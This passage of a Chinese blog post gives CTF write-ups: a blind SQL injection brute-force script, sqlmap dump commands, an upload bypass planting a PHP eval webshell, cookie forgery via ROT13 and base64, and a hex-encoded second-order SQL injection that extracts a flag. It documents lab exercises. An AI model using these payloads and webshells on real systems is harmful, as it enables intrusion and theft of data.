print("[+]length(column): %d" %(lens))

strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]column_name:%s" %(strs))
column_name = strs

num=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
num = i
break
i+=1
pass
print("[+]number(column): %d" %(num))

lens=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(value): %d" %(lens))

i=1
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':'1'}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]flag:%s" %(strs))

if __name__ == '__main__':
boom()
print 'Finish!'
方法二:
通过sqlmap添加前缀的参数:–prefix="%1$’",以及注入点为username,跑出ueranme存在注入
这里data.txt数据为:
POST / HTTP/1.1
Host: 9c4a7e6bb03140e49c97bf6bf83c4b1770ed55845df24dd4.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://9c4a7e6bb03140e49c97bf6bf83c4b1770ed55845df24dd4.changame.ichunqiu.com/
Cookie: __jsluid_h=f61e08c2eb093e133773dca6a57b7307
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
username=admin&password=admin

python sqlmap.py -r data.txt --prefix="%1$\'" -p username
爆数据库
python sqlmap.py -r data.txt --prefix="%1$\'" -p username --dbs
爆表
python sqlmap.py -r data.txt --prefix="%1$\'" -p username --tables -D "ctf"
爆字段
python sqlmap.py -r data.txt --prefix="%1$\'" -p username --columns -T "flag" -D "ctf" --dump
最终得到flag:
flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}
题目名称:Do you know upload?
题目内容:加油吧,少年
题目wirtup:
启动题目场景,获得靶场网站,访问网站,发现页面是一个文件上传页面。
对其页面查看源码,在注释中通过file变量进行文件包含,于是想到php://input和php://filter/read=convert.base64-encode/resource=index.php
通过php:filter伪协议进行文件包含index.php得到其内容
得到base64内容:
PGh0bWw+DQo8aGVhZD48bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCjx0aXRsZT5VcGxvYWQ8L3RpdGxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCjxoMT7lm77niYfkuIrkvKA8L2gxPg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICA8bGFiZWwgZm9yPSJmaWxlIj5GaWxlbmFtZTo8L2xhYmVsPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9Ii91cGxvYWRzLyIgLz4NCiAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgaWQ9ImZpbGUiIC8+DQogICAgPGJyIC8+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiAvPg0KPC9mb3JtPg0KPCEtLSANCmluY2x1ZGUoJF9HRVRbJ2ZpbGUnXSk7IA0KLS0+DQoNCjw/cGhwDQoNCmluY2x1ZGUoJF9HRVRbJ2ZpbGUnXSk7IA0KQCRwaWMgPSAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXTsNCkAkcGljcyA9IGV4cGxvZGUoJy4nICwgJHBpYyk7DQoNCmlmKEBpc3NldCgkX1BPU1Rbc3VibWl0XSkpew0KICAgIGlmICgoKCRfRklMRVNbImZpbGUiXVsidHlwZSJdID09ICJpbWFnZS9naWYiKQ0KICAgICAgICAgICAgfHwgKCRfRklMRVNbImZpbGUiXVsidHlwZSJdID09ICJpbWFnZS9qcGVnIikNCiAgICAgICAgICAgIHx8ICgkX0ZJTEVTWyJmaWxlIl1bInR5cGUiXSA9PSAiaW1hZ2UvcGpwZWciKSkpew0KDQogICAgICAgIGlmICgkX0ZJTEVTWyJmaWxlIl1bImVycm9yIl0gPiAwKXsNCiAgICAgICAgICAgIGVjaG8gIlJldHVybiBDb2RlOiAiIC4gJF9GSUxFU1siZmlsZSJdWyJlcnJvciJdIC4gIjxiciAvPiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgZWNobyAiVXBsb2FkOiAiIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl0gLiAiPGJyIC8+IjsNCiAgICAgICAgICAgIGVjaG8gIlR5cGU6ICIgLiAkX0ZJTEVTWyJmaWxlIl1bInR5cGUiXSAuICI8YnIgLz4iOw0KICAgICAgICAgICAgZWNobyAiU2l6ZTogIiAuICgkX0ZJTEVTWyJmaWxlIl1bInNpemUiXSAvIDEwMjQpIC4gIiBLYjxiciAvPiI7DQogICAgICAgICAgICAvL2VjaG8gIlRlbXAgZmlsZTogIiAuICRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSAuICI8YnIgLz4iOw0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCJ1cGxvYWQvIiAuICRfRklMRVNbImZpbGUiXVsibmFtZSJdKSl7DQogICAgICAgICAgICAgICAgZWNobyAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSAuICIgYWxyZWFkeSBleGlzdHMuICI7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdLA0KICAgICAgICAgICAgICAgICAgICAidXBsb2FkLyIgLiAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7DQogICAgICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiAiIC4gInVwbG9hZC8iIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgn5paH5Lu257G75Z6L5LiN5YWB6K64Jyk8L3NjcmlwdD4iOw0KICAgICAgICBlY2hvICJJbnZhbGlkIGZpbGUiOw0KICAgIH0NCn1lbHNlew0KICAgIC8vIGVjaG8gIkludmFsaWQgZmlsZSI7DQp9DQoNCj8+DQoNCjwvYm9keT4NCg0KPC9odG1sPg0K
base64解码后主要代码如下:
<?php
include($_GET['file']);
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);
if(@isset($_POST[submit])){
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg"))){
        if ($_FILES["file"]["error"] > 0){
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }else{
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            //echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
            if (file_exists("upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " already exists. ";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $_FILES["file"]["name"]);
                echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
            }
        }
    }else{
        echo "<script>alert('文件类型不允许')</script>";
        echo "Invalid file";
    }
}else{
    // echo "Invalid file";
}
?>
通过以上代码分析发现文件上传只是过滤了上传文件的type,通过修改content-type为image/jpeg或者image/gif即可上传 .
尝试上传一句话图片木马,test.jpg,内容为一句话:<?php eval($_POST['cmd']); ?>
通过buspuuti对其进行拦截,然后将test.jpg修改为test.php,发送请求,发现可以成功上传一句话图片后门文件,上传的存储路径为:upload/bk.php
通过菜刀连接一句话,密码为cmd

通过菜刀自带的虚拟命令终端的find命令来查找flag,并没有发现flag

find / -name "*flag*"

查看config.php的源码,发现包含了数据库的连接信息

得到:数据库用户名:ctf ,密码:ctfctfctf,数据库:ctf
下面通过菜刀自带的数据库管理功能连接数据库,其数据库配置连接信息如下:
<H>localhost</H>
<U>ctf</U>
<P>ctfctfctf</P>
<L>utf8</L>
通过查找到ctf数据库中的flag表中flag字段,然后执行语句,即可得到flag
最终falg:
flag{0dc895ae-421e-47d8-83f9-a62f615d8509}
题目名称:broken
题目内容:
you got a file, but ...  
题目writeup:
启动题目场景,获得靶场网站,访问网站,网页内容显示,如果得到一个文件,其内容是已经被破坏了。
http://106.75.72.168:1111/
点击file,可以发现这是一段jsfuck编码。
jsfuck的起源:在渗透测试时,js代码可能被关键词检测,于是作者考虑躲避关键词检测的想法,例如 eval等关键词.
按照常见的套路复制粘贴到控制台执行,执行成功后,发现异常。
正常的jsfuck开头为[] (![]+[]),而我们的开头似乎少了一个]
我们补全后再次运行
显示flag is not here,很明显这是调用了函数显示出的弹窗,于是我们删除 最后代表function调用的()查看代码,即可得到flag:
最终flag:
flag{f_f_l_u_a_c_g_k}
题目名称:who are you?
题目内容:

http://106.75.72.168:2222/

我是谁,我在哪,我要做什么

题目writeup:
直接访问,显示权限不够
X-Forwarded-For: 127.0.0.1
在burp中重发, 发现cookie中有一个名为role的数据(此时可以推断此题有90%的可能性与此有关)
cookie:role=Zjo1OiJ0aHJmZyI7
将Zjo1OiJ0aHJmZyI7对其进行解密得到: f:5:"thrfg";
f:5:"thrfg";看起来像是Rot13加密
得到: s:5:"guest";
将guest改为admin,那么 s:5:"admin"; 进行Rot13加密后是: f:5:"nqzva";
http://www.mxcz.net/tools/rot13.aspx
最后base64是 :Zjo1OiJucXp2YSI7
得到:
<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget
示要构造post方式上传filename和data。(有很多工具可以使用,如Firefox的hackbar插件和burpsuit)利用burpsuit抓包并修改为POST上传,添加 filename项和data项
filename=flag.php&data=<?php phpinfo();?>
页面会报错"No No No!", 因为网页做了正则匹配过滤. 而用data[]=的方法,把data从字符串变成数组,可以绕过正则匹配的过滤。

用data[]=的方法,把data从字符串变成数组,导致绕过正则匹配。

上传之后能够发现它返回了文件的地址,访问它就得到flag

发现回显为no no no,想到data可能是用一个数组存取的内容,抱着试试的想法将data改为data[]其他内容不变(filename和data的值不重要)。回显一个文件地址,将地址打开出现答案:flag{}
filename=flag.php&data=[]
得到:
./uploads/3de8e9b787288c751bf7b0291b028fbaflag.php
http://106.75.72.168:2222/uploads/3de8e9b787288c751bf7b0291b028fbaflag.php
<?php%20eval($_POST['cmd']);%20?>
得到:
./uploads/47013ce8d33835e50cd0f97565cb7172flag.php
http://106.75.72.168:2222/uploads/47013ce8d33835e50cd0f97565cb7172flag.php
最终得到flag:
flag{e07cd440-8eed-11e7-997d-7efc09eb6c59}
题目名称:phone number
题目内容:

http://106.75.72.168:3333

Phone number is a good thing.

题目writup:
访问题目场景,发现是一个登陆页面,并查看源码无果。
http://106.75.72.168:3333/login.php
这里按照正常流程,先注册一个账号: 用户名bks,密码123456,手机号码:131288353391
登录系统,点击check
返回了信息:
There only 2 people use the same phone as you
通过 f12元素审核查看源码,发现注释中显示"听说admin中的手机号码藏着秘密,告诉我们flag 就在admin用户的phone字段.
用户注册,尝试用户名和手机号码都加单引号,提示手机号码必须是数字
联想到会不会服务端验证phone 用了is_number
这里注册一个用户ss' ,密码123456,手机号码:hex(13128835391)为十六进制:0x3133313238383335333931

果然如此,点击check,返回:db errror(sql错误)

应该是有注入的,结合上文中的注释提示,应该是注入出admin的电话号码即可得到flag,所以phone应该是利用点,要想办法得到admin的phone。

但是phone处只能输入数字,可以将sql语句转化为16进制。
查询字段回显数:
注册一个账号ts , 密码123456, 手机号码:hex(13128835391  order by 1 #) 为十六进制:0x313331323838333533393120206F7264657220627920312023,并抓包发送请求包(手机号码字段前段有长度限制,这里用抓包拦截发送请求绕过前端手机号码长度限制)

登录系统,点击check,返回:

There only 1 people use the same phone as you

注册一个账号ts1 密码123456, 手机号码:hex(13128835391  order by 2 #)为十六进制:0x313331323838333533393120206F7264657220627920322023

登录系统,点击check.返回:db error!

说明字段只有一个字段位回显

爆数据库名:

注册一个账号ts2 密码123456, 手机号码:hex(13128835391  union select database()#)为十六进制:0x31333132383833353339312020756E696F6E2073656C656374206461746162617365282923

登录系统,点击check.返回:

There only 3 people use the same phone as you

There only webdb people use the same phone as you

得到数据库名为:webdb

爆表名:

注册一个账号ts3 密码123456, 手机号码:hex(13128835391  union select group_concat(table_name) from information_schema.tables where table_schema='webdb'#)为十六进制:

0x31333132383833353339312020756E696F6E2073656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2777656264622723

登录系统,点击check.返回:

There only 4 people use the same phone as you
There only user people use the same phone as you

得到表名user

爆字段名:

注册一个账号ts5 密码123456, 手机号码:hex(13128835391 union select group_concat(column_name) from information_schema.columns where table_name='user'#)为十六进制:

0x313331323838333533393120756E696F6E2073656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D27757365722723

登录系统,点击check.返回

There only 6 people use the same phone as you
There only Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,
Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routin people use the same phone as you

得到字段名,有用的字段为:User,Password,id,username,phone

爆字段内容

根据注释中admin的电话藏着大秘密,我们查询username为admin的电话

注册一个账号ts6 密码123456, 手机号码:hex(13128835391  union select phone from user where username='admin'#)为十六进制:

0x31333132383833353339312020756E696F6E2073656C6563742070686F6E652066726F6D207573657220776865726520757365726E616D653D2761646D696E2723

登录系统,点击check.返回

There only 7 people use the same phone as you
There only flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0} people use the same phone as you
最终,得到flag:
flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试中心

各位师傅,觉得文章不错可支持下

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值